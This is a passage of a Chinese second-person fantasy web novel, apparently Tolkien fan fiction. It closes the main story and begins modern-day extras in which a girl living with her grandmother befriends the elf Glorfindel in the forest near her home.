你对他招招手,他顺势坐在你身边,伸手抚摸你的长发,你在宴会上喝了几杯酒,这点酒对你来说不算什么,只是今天白天光是进行婚礼步骤就耗费了你太多的精力,你少见地感受到了几分疲惫,你身侧的格洛芬德尔也察觉到了这一点,他说:“如果累了就先休息一会吧。” 你靠着他的肩头,鼻尖萦绕着他身上散发的淡淡花香,你想,金花领主果然就和金色鸢尾花一样,你闭上眼睛,半梦半醒之间你似乎来到了另外一个从未到达过的地方,你很难用言语来形容这周围的一切,这已经超出了你的认知,你低头一看,自己的身体变得虚幻,仿佛根本不存在,接着你又抬起头。 尽管这里非常安静,可你还是福至心灵地意识到自己或许是受到了伊露维塔的感召,你凝聚自己的声音,问道:“你就伊露维塔吗?” 你说话的声音在这片空间内传播速度很缓慢,还伴随着一阵又一阵如同浪涛般的回音,你尝试着移动自己的脚步,在这片雾气朦胧的空间里穿梭,过了许久,当然,时间在这里丧失准确性,仅凭你的感觉也无法衡量时间,也许过了许多年,也许只是一瞬间。 你得到的回应只不过是自己之前问话的回音。 “既然是你感召了我,为什么又不回答我的问题?告诉我,我来到这个世界的意义是什么?我存在的意义又是什么——?”你大声质问道。 空荡荡的空间里除了你的声音没有任何回答,你开始怀疑芬威对你说过的伊露维塔的感召是否是真的,还是说伊露维塔根本不屑于回答你的问题? 到最后你得到了一声叹息,“你拥有了那么多的爱和保护,又为什么还是不知满足呢?” “因为那都是 被你安排好的,你看似给了我很多好东西,可那都是不经我同意自作主张塞到我的手里。“你站直身体。 “那你究竟想要什么?” “我想要不被束缚的自由,别再控制我的人生了。” 伊露维塔的声音虚无缥缈,也许那声音是直接传到你的耳朵里的,祂又说:“你对这个世界没有任何一丝的眷恋吗?哪怕其他人亦或是精灵不愿看到你的离开?” 你停顿了一秒,然后回答:“是的。” 伊露维塔不再言语,你也不知道祂最后的回答是什么,你只知道自己醒来以后格洛芬德尔满脸担忧地抚摸你的脸庞,询问你是不是做了噩梦。 “不,这不是噩梦,反倒是我追求了很久的美梦。” 直到后来,岁月流逝,精灵的纪元过去了,人类成为这片大地的主人,你也带领其他诺多精灵回到维林诺,你又回到了熟悉的宫殿花园,身心疲惫的你靠着长椅沉沉睡去,就如同当初的弥瑞尔,你的灵魂离开身体,可是这一次,你的灵魂没有如同其他精灵那样去往曼督斯的殿堂,而是去往了更加遥远的地方,传闻你的灵魂甚至离开了阿尔达,变得无影无踪。 没有人知道你的去向,唯有伊露维塔知晓你得到了自己梦寐以求的自由。 【全文完】 第140章 现代番外1一根金色发丝勾着你的手…… 你小时候因为双亲工作繁忙,就直接被他们丢给了住在乡下的奶奶来照顾,当然你觉得工作繁忙只是其中一个原因,更重要的一个原因是你不是那种讨人喜欢的小孩,什么才是讨喜的小孩呢,大概就是会亲昵地拉着双亲撒娇,或者是随时随地都能露出灿烂的笑容那种孩子吧,你曾经尝试过模仿周围讨人喜欢的孩子,但结果和你想象的不太一样。 你的双亲还以为你身体不舒服,带着你去医院大费周章地检查一番,最后得出你身体健康得很的结论,在那之后你就不再尝试模仿别人,因为你知道就算模仿得再惟妙惟肖还是会在不经意间露出破绽,所以你放弃了,爱怎样怎样吧,你对自己这么说。 然后没过多久你就被双亲丢到乡下小镇去了,虽然他们说得很好听等你初中了就接你回去,但你对此心存怀疑,总觉得等自己回去的时候可能家里又会多一个妹妹或者是弟弟,但也无所谓了,反正你也没有拒绝的权利,总之,办事干脆利落的双亲很快就把你的行李打包,顺带把你也给打包送到乡下去。 这个乡镇没有城市里那么多的高楼大厦,有的只是放眼望去怎么也看不尽的茂密森林,你很难想象还有人类生活在这里,但你对这样的环境却没有想象中的抵触,甚至还有几分亲近,因为你在睡梦中也经常梦到这样的画面,大片大片绿意盎然的树林,还有在林间潺潺流动的溪水,野鹿低头在溪边喝水。 前面提到过你是个不讨喜的孩子,但同样的,你也是个想象力丰富的孩子。 是的,想象力丰富,这是经常出现在你母亲话语里的形容词,或许是带着褒义的吧,因为你每次醒来都会和她描述梦中的场景,你曾经对她说:“我还在梦里见到了一片金色的花海,有一道身影就站在花海里,但是我看不清长相。” 而在这时候母亲就会轻轻地拍着你的背,“那只是梦而已。” 可那真的只是梦吗?你的心里始终有一道声音在这样询问着。 言归正传,你们乘坐大巴来到镇上,大巴在站台旁边停下,你隔着窗户看见了对你挥手的奶奶,她的头发依旧乌黑,这位讲究的老太太把长发一丝不苟地盘了起来,你提着自己的小包从车里下来,奶奶从编织手提袋里拿出一块用油纸包好的点心,“先吃点这个垫垫肚子。” 母亲也从车上下来了,她说:“她刚才一路上吃了不少东西,现在估计没胃口。” 你的手仍旧拿着点心没放开,哪怕油亮亮的点心弄得你手心都是油,你也不介意,你说:“我可以先拿着它,等我饿了再吃。” “随便你。”母亲轻轻地说,她的话语被风吹散了,双亲提着你的行李把你送到奶奶的房子里,那是一栋两层的小楼,里面打扫的很干净,房子后面还有一个花园,花园里还荡着一个秋千,那是你爷爷前些年做的,他扎下这个秋千没多久就去世了。 你坐在门槛上,双亲在旁边的房间和奶奶说着些什么,你手里仍旧托着那块点心,你咬了一口,只咬到了外面的酥皮,见不到里面的馅料。 实在是太无聊了,你就站在门槛上假装自己在玩平衡木,从隔壁房间里出来的母亲见你这样,就说:“别站在门槛上,会长不高的。” 于是你又啪嗒一声从门槛上跳下来,母亲又回到了旁边的房间,仿佛刚才的出现只是你的幻觉,你又回过头,这个房子四周都是森林,甚至屋前还有一大片的竹林,微风吹过,竹叶窸窣,你盯着竹林深处,总觉得那里有着什么,你看得极为入神,直到你的双亲一并从房间里出来,嘴里说着“这孩子已经很懂事了你带起来肯定不用那么操心”“我们等过年了就会回来的”诸如此类的话。 你没仔细听他们后面说的话,因为你的注意力都被藏在竹林里的东西所吸引了。 交代完这些事情你的双亲就离开了这里,你的母亲走到一半还会回过头看看你,至于你的父亲一次也没有回头,你对他的记忆也停留在那道背影上。 奶奶用手摸了摸你的头发,“这里不比城市里差,我想你肯定会喜欢这里的。” 她说对了,因为你在来这里的第三天就趁着她不注意跑到竹林里去探险了,其实你的本意并不是要去冒险,你只是想去看看竹林里到底有什么东西,但走着走着你就迷失了方向,不过你也没有着急,而是通过植物生长的方向判断南北,紧接着又朝着回去的方向走去,但你远远低估了森林里的地势复杂程度。 兜兜转转了一圈,你不光没能回到那栋小屋,而且精力也要耗尽了,你坐在一棵树下,靠着树干,告诉自己就只是闭上眼睛稍微休息一会而已,等你恢复了体力你就要从这里走出去。 你屈起双膝将脑袋靠在膝盖上,双臂环绕着自己的小腿,把自己蜷缩成一小团,仿佛这样就能有更多的安全感。 半梦半醒之间,你好像听到了远方传来的声音,那是非常虚无缥缈的歌声,又或者只是你的错觉,你不知道自己到底是在梦里还是已经醒来了,你挣扎着睁开双眼,却只能看见朦胧的画面。 一道身影,泛着微光的身影轻缓地向你靠近,你嗅到了花香,幽淡而特别的香味,你想要看清对方的长相,但是做不到,这让你有些烦躁,你甚至直接伸出手试图抓住对方,这次你成功了,你确实抓到了什么,那触感好像是头发,触感光滑。 对方抱起你,你多想问“你是谁”,但你的嘴唇动了动说不出一句话来,等你再次醒来的时候正躺在后院的躺椅里,你撑起上半身,奶奶摘了些青瓜回来,她问:“你怎么了?做噩梦了?” “……没有。”你坐在躺椅上,有些茫然地挠了挠头发,你明明记得自己睡着前还在森林里的,又为什么会睡醒后突然出现在后院的躺椅上? 你正要从躺椅上下来,你的右手被什么东西勾到了,你低头一看,还以为是一条丝线,但是仔细一看才发现那似乎是一条发丝。 一条金色的发丝。 这下子你就能确认自己刚才的经历绝对不是在做梦了,你站起身,试图在这周围寻找其他蛛丝马迹,但是找到一半奶奶就喊你去吃午饭,你只能将这件事情暂时搁置在一边,但你没有放弃寻找那个神秘人。 当天晚上你虽然在奶奶的催促下上了床,但是你在床上辗转反侧许久都没能入睡,你拿起放在床头塑封袋里的金色发丝,这不像是动物的毛发,所以送你回来的应该是一个人类。 你手里握着那个小袋子,在许多的疑惑中睡着了。 时间流转,月光也跟着缓慢移动,最后那道月光甚至直直地投向你的床脚,夜风吹开窗户,吹起窗帘,摇晃着的窗帘一起一伏,一道身影突兀地出现在窗帘后,有着一头金发的精灵悄无声息地走到你的床边,半跪着俯身,手指轻轻地触碰你的侧脸,态度是那么小心翼翼,担心你醒来,又担心你忽然消失。 他就这样静静地看了你许久,直到天边泛起鱼肚白,他才从你的房间离开。 你被阳光晃了晃眼睛,皱着眉睁开眼,映入眼帘的是白色的天花板,你的视线随之转移到其他地方,比如说你的床头柜上,你瞧见摆放在上面的一朵金花,好奇地眨了眨眼睛。 咦……这朵金花你以前在梦里也见到过,你立马伸出手捻起这朵金花,凑近仔细端详,花朵散发的香味和你昨天嗅到的气味如出一辙,你一个鲤鱼打挺从床上爬起来,化身侦探把整个卧室里里外外都观察一遍,不放过任何一个可能的细节,最后你得出结论,昨天那个神秘人肯定也来过你的房间了。 所以才留下了这朵金花,这是什么意思?是在向你挑衅吗?认为你抓不到他吗? 不可否认的,你的斗志都被激发出来了,你在吃早餐的时候和奶奶问起这周围还有没有别的人 家,奶奶说:“以前还有几户人家,但是后面渐渐地都搬走了,现在就只剩下我们这一户了。”你们的房子所在位置哪怕放眼这个偏僻的小镇都算偏僻,大概就是偏僻中的偏僻吧。 你又问:“以前这里有发生过什么怪事吗?” “嗯……确实有过,你爷爷以前进森林里采蘑菇迷了路差点找不到回家的路,最后还是一头鹿指引他回来的。”奶奶说着,“还有你很小的时候,那头鹿还在你周岁酒的时候出现,你抓周一把就抓住了那只野鹿,它倒也不生气,反而很喜欢你。” “我昨天也看到了那只鹿,还有鹿旁边的人。” 奶奶若有所思,“那或许不一定是人类。” 番外完结 第141章 现代番外2这片大陆上唯一的精灵。…… 事已至此还是先吃早餐吧,等用过早餐以后你还要去这个镇上的小学办理转学手续,其实大部分手续你的双亲都已经办理好了,你今天就是去走个过场而已,奶奶本来也要陪着你一块去的,但她的腿脚不便,你在门口换上一双柔软舒适的运动鞋,转过头对她说:“我自己去吧,我很快就会回来的。” 奶奶还是不放心,她陪你走了一段路,送你到学校附近的小卖部时膝盖疼得不行了才在小卖部门口的凳子上坐下歇一会,你走出几步路又回头看看她,对她挥挥手,然后一个转身一溜烟地就跑走了。 小卖部的老板也是个上了年纪的婆婆,她对奶奶说:“这是你孙女啊?” “是啊。” “时间过得可真快啊,一晃眼就上小学了。” 奶奶接过老板递来的茶水,一边喝水一边目送你的背影消失在下一个路口,你的方向感很好,而且这个小镇本就不大,学校找起来也很方便,你跟传达室的大叔说了一声,然后就进了学校找到你接下来的班主任,一个戴着黑框眼镜的中年女人,见你是一个人来的,她还问:“你的家长呢?” 你正低头在单子上面签字,然后扫了一眼班级的花名册,头也没抬一下,你说:“奶奶腿脚不好,我让她别过来了。” 这个小镇上最不缺的就是留守儿童了,所以就连班主任也已经见怪不怪了,她又拿出几张表格登记你的姓名,填完这些信息以后你直起身,班主任虽然长相严厉,但其实性格温和,她说:“这里森林很多,你是从城市里来的,可能对这些树林很好奇,但为了安全起见,你最好别去那些森林里,天色暗了就乖乖在家里待着,别让你的奶奶担心。” 很可惜,她的叮嘱注定不会起作用,因为你在当天下午趁着奶奶午睡的时候你就偷偷爬起来又跑到了森林里,这次你学乖了,身上还带着指南针,那是你以前上科学课跟教科书一起配备发下来的小玩意,你一手握着指南针,一手在路过的地方做下标记。 你看了一眼手表,从你进入森林到现在已经过了二十分钟,你遇到了好几只松鼠,就是没找到那只鹿,更没见到那个神秘人,你烦躁地踢了一脚地上的碎石头,石子飞了出去,啪嗒一声掉入小溪的分支里。 “如果你不想让我找到你,那你又为什么要故意留下线索呢?”你低声嘟哝,“算了,我果然不该在这种事情上浪费自己的时间。” 说着,你转身就要走,但是没走出几步路,你就听见身后传来窸窸窣窣的声响,就像是衣角掠过灌木丛的声音,你猛地回过头,而后你的身形僵硬,因为对方长相实在是太过美丽,一开始你甚至都无法辨认他的性别,你盯着他看了许久才确认他应该是男性,只是他的五官精致漂亮,皮肤白皙,那头金色长发披散在他脑后,他的穿着打扮和现代格格不入,那一身白金色长袍不该出现在这里,更应该出现在博物馆里才对。 “你……”你的声音顿了顿,你不确定地问道,“你是人类吗?” “不是。”他的嗓音空灵,你想,他该不会是什么鬼魂之类的吧?可鬼魂又为什么能够在阳光下行走呢?而且他身上的气息很平和,只是平和中透露出几分哀伤。 他在为什么感到哀伤呢?你握着手里的指南针,后退半步,他察觉到你的小动作,便一直停在原地,没再动过自己的脚步,他向你摊手,“我不会伤害你的。” 这可不好说,毕竟故事里的精怪肯定不会一上来就说自己带着恶意,所以你仍旧没有放下戒备,可你的好奇心在此刻战胜自己的怀疑与恐惧,你说:“那你又是什么东西?不……我是说,你是什么生物?” “我是精灵。” “那不是童话故事里才有的生物吗?而且你怎么证明你是精灵呢?你该不会在骗人吧?”你惊讶道,精灵,那不是故事里经常出现的生物吗,他们美丽圣洁,而且拥有无尽的生命,这一次你主动上前,向他靠近,他顺从地半跪下来,与你目光齐平,然后用手将一边的长发拨开,你看见了藏在金发下的精灵耳,尖尖的。 你的心脏从来没跳得那么快过,哪怕是在学校里被叫家长的时候你都未曾心跳加速过,只是现在,当一个精灵出现在你面前,并且以温驯的姿态对你低下头的时候,你不可避免地感到了兴奋,你听见自己的声音在问:“我可以摸一下吗?” “可以。” 你只是轻轻地触碰了一下,那触碰就如同蜻蜓点水,你又飞快地收回手,将手背在身后,你说:“我以前从没见过精灵,你和你的家人生活在这里吗?” “这里只有我。”他的眼睛是剔透的湛蓝色,此刻这双眼睛里蕴藏着你看不懂的情绪,他是那么高兴又是那么哀伤。 直到后来你才知道这个名为格洛芬德尔的精灵说的“这里只有我”的意思是这片大陆上只剩下他一个精灵了。 你在这片森林里和这个精灵聊了很多,大部分时候都是你在提问题,然后他回答你的问题,首先你问的问题就是他为什么会生活在这里,“我是说,精灵不应该都生活在宫殿里吗?” “在很久以前我们确实生活在宫殿里,但现在是人类的纪元,所以很多精灵宫殿消失不见。” 不知道为什么,你听一个精灵从嘴里说出这是人类的纪元时感受到了淡淡的哀伤,或许人类的纪元就代表着精灵衰退。 “所以你现在在流浪。”你直言不讳。 嗯……一个流浪的精灵,听上去还挺可怜的。 “也不能这么说,我是自愿来到这里的。” “那你肯定是为了什么而来的,否则你就该和你的精灵同类一起离开这片大陆了。”你很聪明,根据对方的只言片语里进行反推。 精灵不语,他更习惯长久地用温和的眼神注视你,你又问:“那朵金花有什么寓意?” 他像是陷入了回忆,“曾经有一位人类送了我一朵金色鸢尾花,并说那和我很相配。” 不用想也知道那个人类肯定已经死去了,你收起指南针,看了一眼手表,现在时间还早,你的奶奶还得过一会才会醒来,所以你还有充足的时间和精灵聊天,精灵会的东西真不少,你无比自然地要求他下次和你见面的时候带几本精灵的书籍过来。 精灵又问:“下次又是什么时候呢?”真奇怪,明明他才是那位长者,但在你面前,他好像一直都是被动的那一个,你说:“我想见你的时候就会来找你的。” 说着,你起身,拍拍衣服上的草屑,然后说:“别忘了带书。” 你沿着来时的路回到奶奶家,她刚好醒来,起床以后就看见你站在房间外倒水喝,她问:“晚饭想吃点什么呀?” 你喝了两口水,心里想着的都是那个奇异的精灵,你说:“随便啦。” 日子就 在这样平淡的循环中度过,唯一不平淡的地方就是你和那个名叫格洛芬德尔的精灵见面越来越频繁,他如约带了书籍过来,不止是书籍,还有其他点心和鲜花,你干脆就在森林里找了块平坦的地方坐下野餐,一边吃点心一边看书,神奇的是你居然能看懂精灵的文字,一开始阅读会觉得有些晦涩,但看到后面就越发流畅。 你捧着书说:“没准我上辈子就是个精灵。” 格洛芬德尔说:“或许吧,就算是精灵也对灵魂的轮回知之甚少。” 你看书的速度很快,不多时就看完了一本,你躺在草地上双手交叠枕在脑后,你说:“我以前经常做梦,梦到很多奇怪的事情,我梦到了战争,梦到了与其他人的争吵,我也梦见了死亡。” 在你说话的时候格洛芬德尔安静地倾听着,直到你眼角的余光扫到他擦拭眼泪的动作,你侧过头,奇怪地问:“你在哭什么?你也会做这样的梦吗?” “我已经很久没做过梦了。”格洛芬德尔说,本来按照爱努大乐章的安排现在所有精灵都该回到维林诺了,可他没有,他无数次听见海浪带来大洋彼岸的呼唤声,可是他没有听从,他仍然停留在这片大陆上,见证人类社会的变迁,他还在固执地等待爱人的出现,尽管维拉也曾对他说过你的灵魂也许已经离开了阿尔达。 可是直觉告诉他还没有,你还没有离开。 你撑起上半身,用手擦拭格洛芬德尔的眼泪,可是眼泪越擦越多,真是没完没了,你说:“我的话让你想起了什么伤心事吗?” “其实那不是什么伤心事,那都是幸福的回忆,只是——幸福偶尔也会刺痛心脏。” 你不太明白,但还是耐心地听他说完,而后才说:“这或许就是获得幸福要付出的代价吧。” 第142章 现代番外3“你要哭了吗?”…… 格洛芬德尔是个有点奇怪的精灵,但因为你在此之前都没有接触过别的精灵,所以你也不能确定其他的精灵是不是也都和他一样,但总的来说他对待你的态度很友好,你办理好转学手续以后就过上了每天学校和家两点一线的生活,偶尔你也会去森林里与格洛芬德尔见面。 “学校里教的东西都很无聊,我早就已经学会了。”这天你和格洛芬德尔见面的时候说起自己的校园生活,不好也不坏吧,反正在你能够忍受的范围内,毕竟你一开始就把自己心理预期放得很低,所以现在看来也不会太失望。 与格洛芬德尔熟悉以后你们见面的地方就从森林变成了他的林中小屋,虽然说是林中小屋,但其实看上去就像一栋小别墅,你第一次看到这栋房子的时候就奇怪地询问他,这难道不会被其他人类发现吗?格洛芬德尔耐心地向你解释他稍微使用了一点小魔法。 会魔法的精灵,嗯,很符合人类的刻板印象,你便没再追问,心安理得地坐在林中小屋里享受下午茶,你觉得自己就像是爱丽丝,但你爱丽丝还要幸运一些,那就是你还不用掉进那个兔子洞里,就在精灵的指引下来到一个人类不曾发现的仙境。 言归正传,你和格洛芬德尔说起自己的校园生活时兴致缺缺,比起这个你更对格洛芬德尔的过往感兴趣,活了那么久的精灵肯定有着许多故事,而格洛芬德尔起初还不想和你聊自己的往事,他轻飘飘地用一句“我记不太清楚了”就把你给打发了,但你看得出来他是在躲避回答你的问题。 “是因为你的过往很悲伤吗?”你问,你的手边还放着一杯果汁,这果汁比你喝过的任何一款果汁都要清甜美味,因此你一口气喝了大半杯。 格洛芬德尔说:“也不能简单地用悲伤来概括,这是很复杂的事情。” 估计他下一句话就是说你年纪还小听不懂这些,说实话你以前就不满那些大人总是用这个理由来敷衍你,所以你抢先一步反问:“如果你什么都不说,我又该怎么了解你呢?” 格洛芬德尔沉默地给你又倒了点果汁,但你这次没喝,你只是非常固执地用眼睛一眨不眨地盯着这位金发精灵看,看得他叹息一声,“那我得想一想从哪里开始说起了。” 大概思索了半分钟,他才说:“不如从我遇到的那一位人类公主说起吧。” 人类公主,不知道为什么你从他嘴里说出这个名词的时候内心泛起一圈波澜,你安静地听他说下去。 “她的名字是伊玟,精灵语的名字是弥尔洛斯,当然她后来还会有一个昆雅语母名,但我想这放到后面再告诉你比较合适一些。”格洛芬德尔说起那位人类公主时自己都没有察觉到他的神色无比柔和,他谈论她的事迹仿佛在细数恋人在历史上留下的痕迹。 你意识到他深爱着她,你抿抿唇,不知道为什么愈发觉得眼前的精灵很可怜,他就像是被那份爱困住了。 “她很有自己的思想,当然,用别的反对者的话来说就是野心勃勃,她说过她不讨厌这个形容词,但在我看来,她所做的一切都情有可原。”格洛芬德尔习惯性地替那位人类公主辩解,哪怕在场根本没有人反驳他的话,他只是……不希望有人贬低那位公主而已。 他说到这位公主成功夺得王位,又成为流芳百世的明君,听起来就像是个典型的励志故事,虽然你没见过这个公主,但你想你应该会很喜欢她,毕竟如果换做是你你也会那么做的。 “所以她选择了和另外一位精灵成婚也没有选择你吗?”你脱口而出,这问题太直白了,但好在时间过去了几千年,格洛芬德尔应该也已经释怀了吧,所以他只是对你笑了下,然后说:“那是她的选择,我也无权干涉她的决定。” 你很赞同格洛芬德尔的看法,因为你在听刚才那个故事的时候下意识代入的是那位人类公主的视角,甚至于在听到她治理的王国成为整片大陆上数一数二强盛的人类王国时你还似乎也能体会到那种油然而生的自豪感。 “故事到这里就结束了吗?”你总觉得这故事还没那么快结束,事实证明你的猜测是正确的,故事到这里也只是暂时告一段落而已,格洛芬德尔别有深意地问道:“你觉得那位人类公主是真的爱着她的精灵伴侣的吗?” 他这是在向你求证公主其实并不爱她的丈夫吗?你摊手,“不可能一点都不爱,如果真的不爱,那就走不到结婚那一步,或者说根本就没有结婚的必要。” 这个答案不是格洛芬德尔想要的 ,但他还是维持着自己的笑容,你说:“后面肯定还有一段故事的对吧?” “你怎么那么肯定?” 你咬了一口饼干,“因为你不是善罢甘休的精灵。” 后来你一直都没等到格洛芬德尔说起那后半段的故事,时间一晃眼就到了你小学毕业的那一天,你的双亲也还守约地要接你去成立读初中,你在临行的那一天专门和格洛芬德尔说了这件事,后者又问:“那你还希望再见到我吗?” 你沉吟片刻,你确实有些舍不得他的故事还有各类精灵书籍,所以你说:“当然,要是能天天见到你那是再好不过的。” 毫不夸张地说,格洛芬德尔听到你说出这句话的时候他那双漂亮的眼睛都变得亮晶晶的,莹润过头了,你才发现他可能是要掉眼泪了,你习惯性伸出手要去接他的眼泪,“你要哭了吗?” “有一点,但还不至于落泪,我很高兴你那么说。”格洛芬德尔飞快地眨了好几下眼睛,眼泪都被他眨没了。 你看了一眼手表,你是掐着时间来这里的,你今天的行程安排得很满,所以不能在他这里久留,因此你又说:“我接下来还有事得走了。” 格洛芬德尔送你到森林的出口,你走出几步路又回过头,发现他还站在森林的边缘,那身影看上去有几分孤独落寞,你对他挥挥手,他也学着你的样子挥手,你们之间的距离被拉远,你捕捉到他擦拭眼眶的动作。 果然还是掉眼泪了吧,你想。 参加了小学的毕业典礼,典礼是上午结束的,你人是下午去的城里,你又一次坐上大巴,看着奶奶站在站台旁边对你挥手,你扒拉着车窗,对她说自己有空了会回来的。 奶奶笑着说:“好,我会等你来看我的。” 车启动了,奶奶的身影越拉越远,你都要看不清了,最后她的衣角消失在道路尽头,你这才转过头,母亲有些惊讶你会那么舍不得这里,她说:“去城里会更方便一些,而且你还能交到更多的朋友。” 你抱着书包不说话,坦白说你也在这里的小学交到了不少朋友,但这些朋友估计以后也很难再碰面了,你的心变得沉甸甸的,回到城市的第一天晚上你睡不着觉,你想到了奶奶,又想到了小学的朋友,还想到了在森林里的格洛芬德尔。 不过中学繁重的学业压力让你很快就忘了这些事情,这里的学校不像小镇上的小学氛围那么轻松,这里的学生和老师都在争分夺秒地推学习进度,你虽然还能适应这种学习强度,但这种氛围不是你喜欢的。 好在你在升入初中的没多久就收到了格洛芬德尔的来信,是一只小巧的喜鹊衔着那封信件飞到你的窗边,用鸟喙啪嗒啪嗒地敲打着窗户,你一打开门这只喜鹊就很自然地把信丢到你手里,自己又在房间里飞了一圈,叼了几颗杏仁就走了,大概是把杏仁当成送信的报酬了吧。 你打开信封一看,格洛芬德尔在信里写着自己过两天就能与你见面了,你看完信就把信件放在一边,又开始预习明天的新课。 中学放假的日子也少,所以虽然格洛芬德尔能和你见面,但三年算下来见面的次数也不多,而且每次一见面你不是在写作业就是在看书,有时候你甚至还会把一些抄写作业还有练字作业丢给格洛芬德尔帮你做,你的原话是:你都活了几千年了,帮忙写点作业总不算难吧? 格洛芬德尔不光能帮你写作业,甚至还能模仿你的字迹模仿得一模一样,就连老师都看不出来,于是你后来经常把作业丢给格洛芬德尔,你们见面也不聊什么杂七杂八的东西了,就聊作业,偶尔等作业写完了你终于能放松一下的时候格洛芬德尔才会说些别的。 比如说他以前也经常和朋友一起补作业。 “等一下,精灵也要上学吗?” “当然,只不过我们都是跟着维拉学习的,维拉的要求更高。” 你想象了一下精灵补作业的画面,觉得有些好笑,格洛芬德尔也跟着笑起来,“精灵其实和人类也没什么区别。” 第143章 现代番外4“我的样子?很奇怪吗?…… 多一个精灵陪你补作业的好处也有很多,至少你写作业的效率直线上升,虽然精灵和人类的知识体系很多时候都存在偏差,但也存在着共通之处,你的初中生活就在还算轻松愉快的气氛中度过,接踵而至的是高中生活,鉴于你上的是重点高中,因此学业压力也比初中的时候翻了一番,要不是你心理素质够好,估计也很难在短时间内适应这样快节奏的生活。 不过让你惊讶的是在这样的环境下,周围同学居然还有闲工夫谈恋爱,甚至有的还直接把情书送到你的课本里来了。 晚上你照常去格洛芬德尔那里写作业顺便看一会课外书,在你翻开历史书的时候一封信从书里滑落,格洛芬德尔眼疾手快地捻住信封的一角,凭借精灵的视力你可以肯定他看清了信封上的署名,因为他的动作顿了顿,拿着信封的手不知所措,他说:“看来这是一封送给你的信。” 你微微眯起眼睛,从他手里拿过这封信,随意地拆开一看,才看了个开头就知道后面的内容是什么了,你把信纸重新塞回到信封里,然后轻描淡写地说:“就是一封情书而已,肯定是有谁闲着无聊放进我的书里的。” 和云淡风轻的你形成鲜明对比的是格洛芬德尔若有所思的表情,他试探性地问道:“你刚才都没有把信看完。” 你拉开笔袋从里面拿出一支中性笔,而后说:“我看了个开头就知道后面会写什么,继续往下看就是在浪费我的时间。”话语间你拿出历史卷子埋头写作业,而那封被你拆开的信件就丢在一旁。 格洛芬德尔也有设想过你也许会收到其他人类的情书,只是在这之前也仅仅是设想而已,现在真的遇到了,他的心情难免有些复杂,他当然知道你有选择恋人的权利,他也不应该干涉你的决定,只不过……他还是会有一些自己的私心。 等你把历史卷子写了一大半,还剩下几道材料分析题的时候你抬起头,发觉格洛芬德尔一直在盯着自己看,你就忍不住问道:“你在看什么?” 格洛芬德尔欲言又止,你看到他那副表情就觉得奇怪,你说:“你想说什么就说吧,别一副可怜巴巴盯着我的样子。” “所以你现在有喜欢的人吗?”格洛芬德尔问。 你单手托腮,似笑非笑地观察着格洛芬德尔的表情变化,过了好一会,他听见你轻笑一声,你说:“暂时还没有。”因为你觉得那些同龄人都太幼稚了,这里说的幼稚没有贬义,就是单纯的陈述事实,而且在大众观念里这个年龄段的孩子确实多多少少都会带着点孩子气,而你就是那个格格不入的例外。 “好的……如果你以后遇到了喜欢的人——” “这件事情还真不好说。”你含糊不清地回答,接着又低头开始写作业,自那天以后格洛芬德尔就有意无意地询问你周围是否有心仪的人选,后面你被他问得烦了,就说:“我为什么一定要喜欢人类呢?我就不能喜欢别的物种吗?” 听到这里,格洛芬德尔顿时哑然,过了好久他才找回自己的声音,但说话依旧是磕磕巴巴的,“这个、那你喜欢什么物种呢?” 反正都已经把话说到这个份上了,你也不介意说得再清楚一点,你说:“就比如说精灵啦,矮人啦,霍比特人也可以啦。” 矮人和霍比特人都是你在格洛芬德尔给你讲故事的时候了解到的,此刻的他很认真地向你解释矮人和霍比特人都已经在这片大陆上彻底消失了,“恐怕你无法在这里找到任何一个矮人亦或是霍比特人了,现在……就只剩下我一个精灵了。” 所以如果从可行性的角度来考虑,那么你刚才说的话排除掉那两个不可能的选项,就只剩下精灵这一个选项了,格洛芬德尔还是有些不敢相信,他小心翼翼地问道:“所以,你如果要从这些种族里选择伴侣,那么就只能选择精灵了。” 说到最后,他的声音里带着几分自己都未曾察觉的期待,可你只是看着他,仿佛要看穿他心底的秘密,这样的对视持续了许久,最后以格洛芬德尔移开视线告终,你没有回答这个问题,而是接着写作业,毕竟你晚上带回来的作业真不少,而且像历史这一类学科作业写起来又非常耗费时间。 所以等你写完这个作业,这个话题也自然而然地跳过,又或者是你们都心照不宣地没有再提起。 高中的生活也并不全是枯燥乏味的学习,偶尔也会有一些还算有趣的活动,比如说运动会,高中前两年的运动会你都没怎么参加,今年是高中最后一年的运动会了,在体育委员的好说歹说下你终于报了个项目,因为你报名的时候其他轻松的项目都已经被人选走了,留给你的就只有八百米,对于其他学生来说八百米很考验耐力,所以都没什么人选八百米。 你在定好项目的当天晚上和格洛芬德尔说起这件事,他说:“今年你怎么突然想起要参加运动会了?” “毕竟是最后一次了。”你说,为了迎接最后一场运动会,你甚至还拉着格洛芬德尔和你一同训练,其实就是让他监督你跑步,毕竟如果只是你一个人练习跑步的话估计没跑一会就会停下来休息的。 格洛芬德尔还专门为你制定了一套训练方案,甚至还有备用方案,你看他这架势感觉有些太严肃认真了,你就说:“那只是一场运动会而已,友谊第一比赛第二。” “我知道,所以训练的强度也很低,你也可以把这个当成锻炼身体,这对你没什么坏处。”格洛芬德尔比你自己还要关心你的身体,你以前发烧的时候他表现得比你还紧张,不过你转念一想,估计在精灵看来人类都是很脆弱的生物吧,所以也没觉得有多奇怪。 格洛芬德尔的锻炼计划就这么风风火火地开始了,这些天你晚上写完作业以后就跟着格洛芬德尔围着家附近的那个公园绕圈跑,大概跑个两三圈下来你就会出一层薄汗,这个时候再从跑步改为散步,你就和格洛芬德尔这么一路散步回去。 因为晚上的气温宜人,所以在晚餐后出来散步的人还真不少,你偶尔也会碰到自己的同学,在极为凑巧的情况下还会碰见曾经给你写过情书的同学,但你当初就没把那情书当回事,所以遇到对方的时候你的态度坦荡,反倒是对方有些尴尬,他问:“你也 是出来散步的吗?” 这问题和询问师傅你是做什么工作的有着异曲同工之处,你点点头,说:“是的,今天晚上的天气不错,而且温度不冷不热刚刚好。” “那你是一个人出来的吗?”他接着又问,这时候去附近的便利店给你买水的格洛芬德尔折返回来了,他手里拿着两瓶矿泉水,还有一盒雪糕,见到你身边的男同学时,他便问:“这是你的同学吗?” “是啊。”你一边说着一边从格洛芬德尔手里拿过矿泉水,拧开喝了一口,你的那位同班同学奇怪地看了看格洛芬德尔又看了看你,然后皱起眉,小声问你:“这是你的亲戚吗?”但实际上凭借精灵的听力你毫不怀疑格洛芬德尔听得一清二楚。 你说:“是我的邻居。” 同学又看了格洛芬德尔一眼,还是有些担心,在和你分开之前他还问:“你确定你的邻居真的是个好人吗?” 实际上他连人类都不算,你在心里默默地补充一句,你说:“我可以确定,好了,我接下来要去别的地方散步了,我们明天在学校见面吧?” 